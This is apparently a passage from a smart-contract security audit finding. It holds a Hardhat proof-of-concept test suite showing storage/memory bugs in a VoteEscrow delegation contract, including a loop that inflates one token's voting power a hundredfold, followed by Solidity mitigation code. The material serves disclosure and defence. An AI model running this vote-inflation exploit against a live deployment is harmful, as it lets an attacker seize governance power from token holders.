import { ERC1155Mock as ERC1155MockTypes } from '../../typechain/ERC1155Mock';
import { ERC20Mock as ERC20MockTypes } from '../../typechain/ERC20Mock';
import { WETH as WETHTypes } from '../../typechain/WETH';

let testErc20: ERC20MockTypes;
let testErc721: ERC721MockTypes;
let testErc1155: ERC1155MockTypes;
export let weth: WETHTypes;

let golomTrader: GolomTraderTypes;
let voteEscrow: VoteEscrowTypes;
let golomToken: GolomTokenTypes;
let rewardDistributor: RewardDistributorTypes;

let accounts: Signer[];
let governance: Signer;
let stakers: Signer[];
let maker: any;
let tokenIDs: any[] = [];

describe('memory vs storage bugs', function () {
    beforeEach(async function () {
        accounts = await ethers.getSigners();
        maker = accounts[0];
        governance = accounts[5];
        stakers = accounts.slice(6, 11);


        testErc20 = (await (await ERC20MockArtifacts).deploy()) as ERC20MockTypes;
        testErc721 = (await (await ERC721MockArtifacts).deploy()) as ERC721MockTypes;
        testErc1155 = (await (await ERC1155MockArtifacts).deploy()) as ERC1155MockTypes;
        weth = (await (await WETHArtifacts).deploy()) as WETHTypes;

        // deploy trader contract
        golomTrader = (await (await GolomTraderArtifacts).deploy(await governance.getAddress())) as GolomTraderTypes;
        golomToken = (await (await GolomTokenArtifacts).deploy(await governance.getAddress())) as GolomTokenTypes;


        const TokenUriHelperLib = (await (await TokenUriHelperLibArtifacts).deploy()) as any;
        VoteEscrowArtifacts = ethers.getContractFactory('VoteEscrow', { libraries: { TokenUriHelper: TokenUriHelperLib.address } });
        voteEscrow = (await (await VoteEscrowArtifacts).deploy(golomToken.address)) as VoteEscrowTypes;


        rewardDistributor = (await (
            await RewardDistributorArtifacts
        ).deploy(
            weth.address,
            golomTrader.address,
            golomToken.address,
            await governance.getAddress()
        )) as RewardDistributorTypes;



        await golomToken.connect(governance).mintGenesisReward(await governance.getAddress());
        await golomToken.connect(governance).setMinter(rewardDistributor.address);
        await golomToken.connect(governance).executeSetMinter();

        await rewardDistributor.connect(governance).addVoteEscrow(voteEscrow.address);






        // set distributor
        await golomTrader.connect(governance).setDistributor(rewardDistributor.address);
        // await golomTrader.connect(governance).executeSetDistributor();

        await testErc721.mint(await maker.getAddress());
        await testErc721.connect(maker).setApprovalForAll(golomTrader.address, true);
        await testErc1155.connect(maker).setApprovalForAll(golomTrader.address, true);

        let totalGenesis = await golomToken.balanceOf(await governance.getAddress());
        let shares = [0.2, 0.45, 0.35];
        const yearInSecs = 365 * 24 * 60 * 60;

        // give away some $GOLOM and lock it for some veGOLOM
        for (let i = 0; i < 3; i++) {
            const amount = totalGenesis.toBigInt() * BigInt(100 * shares[i]) / 100n;
            await golomToken.connect(governance).transfer(await stakers[i].getAddress(), amount);
            await golomToken.connect(stakers[i]).approve(voteEscrow.address, amount * 10n);
            let tx = await voteEscrow.connect(stakers[i]).create_lock(amount, 2 * yearInSecs);
            let receipt = await tx.wait();
            let tokenID = receipt.events?.filter(x => x.event == "Deposit")[0].args?.tokenId;
            tokenIDs[i] = tokenID;

        }

    });

    describe('Storage used instead of memory:', async () => {

        it('delegating then removing delegation', async () => {

            let threeStakers = stakers.slice(0, 3);
            let [bob, alice, eve] = threeStakers;
            const [bobTokenID, aliceTokenID] = tokenIDs;

            // delegate Alice's token to itself
            let tx = await voteEscrow.connect(alice).delegate(aliceTokenID, aliceTokenID);


            tx = await voteEscrow.connect(bob).delegate(bobTokenID, aliceTokenID);
            let receipt = await tx.wait();
            const afterDelegationBlockNum = receipt.blockNumber;


            tx = await voteEscrow.connect(bob).removeDelegation(bobTokenID);
            receipt = await tx.wait();
            const afterRemovalBlockNum = receipt.blockNumber;

            console.log({ events: JSON.stringify(receipt.events) });

            const aliceVotingPowerAfterRemoval = (await voteEscrow.getVotes(aliceTokenID)).toBigInt();

            tx = await voteEscrow.connect(bob).delegate(bobTokenID, aliceTokenID);
            receipt = await tx.wait();

            const aliceVotingPowerAfterDelegation = (await voteEscrow.getPriorVotes(aliceTokenID, afterDelegationBlockNum)).toBigInt();
            const aliceVotingPowerNow = (await voteEscrow.getVotes(aliceTokenID)).toBigInt();

            const bobStakingBalance = (await voteEscrow.balanceOfNFT(bobTokenID)).toBigInt();
            const aliceStakingBalance = (await voteEscrow.balanceOfNFT(aliceTokenID)).toBigInt();



            console.log({ aliceVotingPowerAfterDelegation, aliceVotingPowerAfterRemoval, aliceVotingPowerNow });
            console.log({ bobStakingBalance, aliceStakingBalance });

            // dividing by denominator to avoid small changes due to VoteEscrow time-dependent changes
            const denominator = 10n ** 22n;
            // test passes = bug exists
            // After delegation, Alice's token holds only the power of its own balance
            chai.expect(aliceVotingPowerAfterDelegation / denominator).to.be.equal(aliceStakingBalance / denominator, "after delegation");

            // After removing delegation, Alice's token still holds the power of Bob's balance
            chai.expect(aliceVotingPowerAfterRemoval / denominator).to.be.equal((aliceStakingBalance + bobStakingBalance) / denominator, "after removing delegation");



            // just to prove that after dividing by denominator, the number is still big enough        
            chai.assert(aliceVotingPowerAfterDelegation / denominator > 100n);
        });
    });

    describe('_writeCheckpoint bug - memory used:', async () => {
        // this bug would only 'work' after fixing the storage bug
        it('endless delegation', async () => {

            let threeStakers = stakers.slice(0, 3);
            let [bob, alice, eve] = threeStakers;
            const [bobTokenID, aliceTokenID, eveTokenID] = tokenIDs;

            // delegate Alice's token to itself
            await voteEscrow.connect(alice).delegate(aliceTokenID, aliceTokenID);


            // disable automining to make them all tx in the same block
            await ethers.provider.send("evm_setAutomine", [false]);
            await ethers.provider.send("evm_setIntervalMining", [0]);


            let txs: ContractTransaction[] = [];
            for (let i = 0; i < 100; i++) {
                let tx = await voteEscrow.connect(bob).delegate(bobTokenID, aliceTokenID);
                await voteEscrow.connect(bob).removeDelegation(bobTokenID);
                await ethers.provider.send("evm_mine", []);
            }
            await ethers.provider.send("evm_setAutomine", [true]);



            const stakingPowerBigNumber = await Promise.all(tokenIDs.map(tid => voteEscrow.balanceOfNFT(tid)));
            const stakingPowerBigInt = stakingPowerBigNumber.map(x => x.toBigInt());
            const [bobStakingPower, aliceStakingPower, eveStakingPower] = stakingPowerBigInt;
            const aliceVotingPower = (await voteEscrow.getVotes(aliceTokenID)).toBigInt();

            const numCheckpoints = await voteEscrow.numCheckpoints(aliceTokenID);
            console.log({ aliceVotingPower, stakingPowerBigInt, numCheckpoints });

            // Alice's got delegated Bob's token 100 times
            expect(aliceVotingPower).to.be.equal(bobStakingPower * 100n + aliceStakingPower);
        });

        it('Innocent users delegating in the same block', async () => {

            let threeStakers = stakers.slice(0, 3);
            let [bob, alice, eve] = threeStakers;
            const [bobTokenID, aliceTokenID, eveTokenID] = tokenIDs;

            // disable automining to make them all tx in the same block
            await ethers.provider.send("evm_setAutomine", [false]);
            await ethers.provider.send("evm_setIntervalMining", [0]);

            let txs: ContractTransaction[] = [];
            for (let i = 0; i < 3; i++) {
                let tx = await voteEscrow.connect(stakers[i]).delegate(tokenIDs[i], aliceTokenID);
                txs.push(tx);

            }
            await ethers.provider.send("evm_mine", []);
            await ethers.provider.send("evm_setAutomine", [true]);


            let blockNums = await Promise.all(txs.map(x => x.wait().then(x => x.blockNumber)));

            console.log({ blockNums });


            const stakingPowerBigNumber = await Promise.all(tokenIDs.map(tid => voteEscrow.balanceOfNFT(tid)));
            const stakingPowerBigInt = stakingPowerBigNumber.map(x => x.toBigInt());
            const aliceVotingPower = (await voteEscrow.getVotes(aliceTokenID)).toBigInt();

            const numCheckpoints = await voteEscrow.numCheckpoints(aliceTokenID);
            console.log({ aliceVotingPower, stakingPowerBigInt, numCheckpoints });


        });
    });

});

Tools Used

Hardhat

Recommended Mitigation Steps

As for _writeCheckpoint, this is the fix:

         if (nCheckpoints > 0 && oldCheckpoint.fromBlock == block.number) {
-            oldCheckpoint.delegatedTokenIds = _delegatedTokenIds;
+            checkpoints[toTokenId][nCheckpoints - 1] = _delegatedTokenIds;
         } else {

For the other 2 - use memory instead of storage:

    /// @notice Explain to an end user what this does
    /// @param tokenId token ID which is being delegated
    /// @param toTokenId token ID to which the {tokenId} is being delegated
    function delegate(uint256 tokenId, uint256 toTokenId) external {
        require(ownerOf(tokenId) == msg.sender, 'VEDelegation: Not allowed');
        require(this.balanceOfNFT(tokenId) >= MIN_VOTING_POWER_REQUIRED, 'VEDelegation: Need more voting power');

        removeDelegation(tokenId);
        delegates[tokenId] = toTokenId;
        uint256 nCheckpoints = numCheckpoints[toTokenId];

        if (nCheckpoints > 0) {
            Checkpoint memory checkpoint = checkpoints[toTokenId][nCheckpoints - 1];
            checkpoint.delegatedTokenIds = _cloneAndPushElement(checkpoint.delegatedTokenIds, tokenId);
            _writeCheckpoint(toTokenId, nCheckpoints, checkpoint.delegatedTokenIds);
        } else {
            uint256[] memory array = new uint256[](1);
            array[0] = tokenId;
            _writeCheckpoint(toTokenId, nCheckpoints, array);
        }

        emit DelegateChanged(tokenId, toTokenId, msg.sender);
    }

    /// @notice Remove delegation
    /// @param tokenId TokenId of which delegation needs to be removed
    function removeDelegation(uint256 tokenId) public {
        require(ownerOf(tokenId) == msg.sender, 'VEDelegation: Not allowed');
        uint256 removeFromTokenId =  delegates[tokenId];
        // this is safe as long as tokenId is starting from 1 (this is currently the case)
        if(removeFromTokenId == 0){
            return;
        }
        uint256 nCheckpoints = numCheckpoints[removeFromTokenId];
        Checkpoint memory lastCheckpoint = checkpoints[removeFromTokenId][nCheckpoints - 1];
        uint256[] memory newDelegatedTokenIds =  _copyAndRemoveElement(lastCheckpoint.delegatedTokenIds, tokenId);
        _writeCheckpoint(removeFromTokenId, nCheckpoints, newDelegatedTokenIds);
        delete delegates[tokenId];
    }

    /// @notice Removes specific element from the array
    /// @param _array Whole array
    /// @param _element The element which we need to remove
    /// @notice we assume _array contains element, this will revert otherwise !!!
    function _copyAndRemoveElement(uint256[] memory _array, uint256 _element) internal returns(uint256[] memory) {
        uint256[] memory _newArr = new uint256[](_array.length - 1);
        uint256 _newIndex;
        for (uint256 i; i < _array.length; i++) {

            if (_array[i] != _element) {

                _newArr[_newIndex] = _array[i];
                _newIndex++;
            }
        }
        return _newArr;
    }

    function _cloneAndPushElement(uint256[] memory _array , uint256 _element) internal returns (uint256[] memory){
        uint256[] memory newArr = new uint256[](_array.length + 1);
        for (uint256 i; i < _array.length; i++) {
            newArr[i] = _array[i];
        }
        newArr[newArr.length -1] = _element;
        return newArr;
    }